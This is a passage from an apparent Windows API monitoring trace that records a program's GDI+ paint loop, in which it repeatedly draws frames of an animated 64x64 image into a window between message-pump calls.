matrixOut=0x1e7b48a0) returned 0x0 [0173.494] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.494] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0173.494] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.495] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0173.495] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.495] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.496] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0173.496] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0173.496] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0173.496] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0173.496] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.496] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0173.497] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0173.497] GetCurrentObject (hdc=0xa010cea, type=0x1) returned 0x1b00017 [0173.497] GetCurrentObject (hdc=0xa010cea, type=0x2) returned 0x1900010 [0173.497] GetCurrentObject (hdc=0xa010cea, type=0x7) returned 0x1a05067e [0173.497] GetCurrentObject (hdc=0xa010cea, type=0x6) returned 0x18a002e [0173.497] SaveDC (hdc=0xa010cea) returned 1 [0173.498] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x23040b8a [0173.498] GetClipRgn (hdc=0xa010cea, hrgn=0x23040b8a) returned 0 [0173.498] SelectClipRgn (hdc=0xa010cea, hrgn=0x530407c3) returned 2 [0173.498] DeleteObject (ho=0x23040b8a) returned 1 [0173.498] DeleteObject (ho=0x530407c3) returned 1 [0173.499] OffsetViewportOrgEx (in: hdc=0xa010cea, x=0, y=0, lppt=0x274bdd8 | out: lppt=0x274bdd8) returned 1 [0173.499] GetNearestColor (hdc=0xa010cea, color=0xffffff) returned 0xffffff [0173.499] CreateSolidBrush (color=0xffffff) returned 0x2b100190 [0173.499] FillRect (hDC=0xa010cea, lprc=0x15d7c0, hbr=0x2b100190) returned 1 [0173.499] DeleteObject (ho=0x2b100190) returned 1 [0173.499] RestoreDC (hdc=0xa010cea, nSavedDC=-1) returned 1 [0173.499] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.500] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xa010cea) returned 0x0 [0173.500] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb900dbd) returned 0x0 [0173.500] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.500] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0173.500] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.500] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.500] GetSystemMetrics (nIndex=42) returned 0 [0173.500] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.500] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.500] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.500] CoTaskMemFree (pv=0x1e91eca0) [0173.500] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0173.503] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0173.503] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0173.503] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0173.503] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0173.503] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0xa010cea, x1=0, y1=0, rop=0xcc0020) returned 1 [0173.503] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.503] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xa010cea) returned 0x0 [0173.503] SelectObject (hdc=0xa010cea, h=0x185000f) returned 0x1a05067e [0173.504] DeleteDC (hdc=0xa010cea) returned 1 [0173.504] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.504] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0173.504] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0173.504] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0173.504] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.504] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.504] WaitMessage () returned 1 [0173.668] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.668] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.668] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.668] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.668] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0173.668] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0173.668] GetCurrentThreadId () returned 0xec0 [0173.668] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0173.668] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.668] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.669] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.669] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.669] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0173.669] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0173.669] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0173.669] CreateCompatibleDC (hdc=0x2d010b73) returned 0xe010d03 [0173.669] SelectObject (hdc=0xe010d03, h=0x1a05067e) returned 0x185000f [0173.669] GdipCreateFromHDC (hdc=0xe010d03, graphics=0x15daf0) returned 0x0 [0173.669] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0173.670] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0173.670] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0173.670] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0173.670] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0173.670] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.670] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0173.670] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.671] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.671] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0173.671] GdipCreateRegion (region=0x15dc20) returned 0x0 [0173.671] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0173.671] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0173.671] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0173.671] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.671] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.671] GetSystemMetrics (nIndex=42) returned 0 [0173.671] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.671] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.671] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.671] CoTaskMemFree (pv=0x1e91eca0) [0173.671] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0173.672] GdipCreateRegion (region=0x15d710) returned 0x0 [0173.672] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0173.672] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0173.672] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0173.672] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0173.672] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.672] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0173.672] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.672] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0173.673] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.673] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0173.673] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.673] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.673] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0173.673] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0173.673] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0173.673] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0173.673] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.674] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0173.674] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0173.674] GetCurrentObject (hdc=0xe010d03, type=0x1) returned 0x1b00017 [0173.674] GetCurrentObject (hdc=0xe010d03, type=0x2) returned 0x1900010 [0173.674] GetCurrentObject (hdc=0xe010d03, type=0x7) returned 0x1a05067e [0173.674] GetCurrentObject (hdc=0xe010d03, type=0x6) returned 0x18a002e [0173.674] SaveDC (hdc=0xe010d03) returned 1 [0173.674] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x540407c3 [0173.674] GetClipRgn (hdc=0xe010d03, hrgn=0x540407c3) returned 0 [0173.674] SelectClipRgn (hdc=0xe010d03, hrgn=0x24040b8a) returned 2 [0173.674] DeleteObject (ho=0x540407c3) returned 1 [0173.674] DeleteObject (ho=0x24040b8a) returned 1 [0173.674] OffsetViewportOrgEx (in: hdc=0xe010d03, x=0, y=0, lppt=0x274d0d0 | out: lppt=0x274d0d0) returned 1 [0173.675] GetNearestColor (hdc=0xe010d03, color=0xffffff) returned 0xffffff [0173.675] CreateSolidBrush (color=0xffffff) returned 0x2c100190 [0173.675] FillRect (hDC=0xe010d03, lprc=0x15d7c0, hbr=0x2c100190) returned 1 [0173.675] DeleteObject (ho=0x2c100190) returned 1 [0173.675] RestoreDC (hdc=0xe010d03, nSavedDC=-1) returned 1 [0173.675] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.675] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xe010d03) returned 0x0 [0173.675] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb8e0dbd) returned 0x0 [0173.675] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.675] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0173.675] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.676] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.676] GetSystemMetrics (nIndex=42) returned 0 [0173.676] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.676] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.676] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.676] CoTaskMemFree (pv=0x1e91eca0) [0173.676] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0173.676] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0173.676] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0173.676] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0173.676] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0xe010d03, x1=0, y1=0, rop=0xcc0020) returned 1 [0173.676] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.676] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xe010d03) returned 0x0 [0173.676] SelectObject (hdc=0xe010d03, h=0x185000f) returned 0x1a05067e [0173.677] DeleteDC (hdc=0xe010d03) returned 1 [0173.677] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.677] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0173.677] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0173.677] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0173.677] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.677] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.677] WaitMessage () returned 1 [0173.796] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.796] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.796] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.796] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.796] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0173.796] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0173.796] GetCurrentThreadId () returned 0xec0 [0173.796] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0173.796] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.797] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.797] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.797] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.797] DispatchMessageW (lpMsg=0x15e910) returned 0x1 [0173.797] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0173.797] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0173.797] CreateCompatibleDC (hdc=0x3010b83) returned 0x3301091e [0173.797] SelectObject (hdc=0x3301091e, h=0x1a05067e) returned 0x185000f [0173.797] GdipCreateFromHDC (hdc=0x3301091e, graphics=0x15daf0) returned 0x0 [0173.797] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0173.798] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0173.798] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0173.798] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0173.798] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0173.798] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.798] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0173.799] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.799] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.799] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0173.799] GdipCreateRegion (region=0x15dc20) returned 0x0 [0173.799] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0173.799] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0173.799] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0173.799] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.799] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.799] GetSystemMetrics (nIndex=42) returned 0 [0173.799] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.799] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.799] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.800] CoTaskMemFree (pv=0x1e91eca0) [0173.800] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0173.800] GdipCreateRegion (region=0x15d710) returned 0x0 [0173.800] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0173.800] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0173.800] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0173.800] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0173.800] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.800] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0173.801] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.801] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0173.801] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.801] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0173.801] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.801] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.801] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0173.802] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0173.802] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0173.802] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0173.802] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.802] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0173.802] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0173.802] GetCurrentObject (hdc=0x3301091e, type=0x1) returned 0x1b00017 [0173.802] GetCurrentObject (hdc=0x3301091e, type=0x2) returned 0x1900010 [0173.802] GetCurrentObject (hdc=0x3301091e, type=0x7) returned 0x1a05067e [0173.802] GetCurrentObject (hdc=0x3301091e, type=0x6) returned 0x18a002e [0173.802] SaveDC (hdc=0x3301091e) returned 1 [0173.802] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x25040b8a [0173.802] GetClipRgn (hdc=0x3301091e, hrgn=0x25040b8a) returned 0 [0173.803] SelectClipRgn (hdc=0x3301091e, hrgn=0x550407c3) returned 2 [0173.803] DeleteObject (ho=0x25040b8a) returned 1 [0173.803] DeleteObject (ho=0x550407c3) returned 1 [0173.803] OffsetViewportOrgEx (in: hdc=0x3301091e, x=0, y=0, lppt=0x274da08 | out: lppt=0x274da08) returned 1 [0173.803] GetNearestColor (hdc=0x3301091e, color=0xffffff) returned 0xffffff [0173.804] CreateSolidBrush (color=0xffffff) returned 0x2d100190 [0173.804] FillRect (hDC=0x3301091e, lprc=0x15d7c0, hbr=0x2d100190) returned 1 [0173.804] DeleteObject (ho=0x2d100190) returned 1 [0173.804] RestoreDC (hdc=0x3301091e, nSavedDC=-1) returned 1 [0173.804] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.804] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3301091e) returned 0x0 [0173.804] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb8c0dbd) returned 0x0 [0173.804] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.804] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0173.804] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.804] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.804] GetSystemMetrics (nIndex=42) returned 0 [0173.805] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.805] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.805] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.805] CoTaskMemFree (pv=0x1e91eca0) [0173.805] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0173.807] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0173.807] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0173.807] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0173.807] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0173.807] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3301091e, x1=0, y1=0, rop=0xcc0020) returned 1 [0173.807] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.807] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3301091e) returned 0x0 [0173.807] SelectObject (hdc=0x3301091e, h=0x185000f) returned 0x1a05067e [0173.807] DeleteDC (hdc=0x3301091e) returned 1 [0173.807] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.808] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0173.808] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0173.808] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0173.808] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.808] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.808] WaitMessage () returned 1 [0173.929] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.929] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.929] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.929] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.929] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0173.930] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0173.930] GetCurrentThreadId () returned 0xec0 [0173.930] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0173.930] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.930] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.930] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.930] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.930] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0173.930] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0173.930] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0173.931] CreateCompatibleDC (hdc=0x3010b83) returned 0x3c010210 [0173.931] SelectObject (hdc=0x3c010210, h=0x1a05067e) returned 0x185000f [0173.931] GdipCreateFromHDC (hdc=0x3c010210, graphics=0x15daf0) returned 0x0 [0173.931] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0173.931] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0173.931] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0173.931] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0173.932] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0173.932] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.932] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0173.932] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.933] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.933] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0173.933] GdipCreateRegion (region=0x15dc20) returned 0x0 [0173.934] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0173.934] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0173.934] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0173.935] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.935] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.935] GetSystemMetrics (nIndex=42) returned 0 [0173.935] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.935] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.935] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.936] CoTaskMemFree (pv=0x1e91eca0) [0173.936] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0173.937] GdipCreateRegion (region=0x15d710) returned 0x0 [0173.937] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0173.937] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0173.938] GdipGetWorldTransform 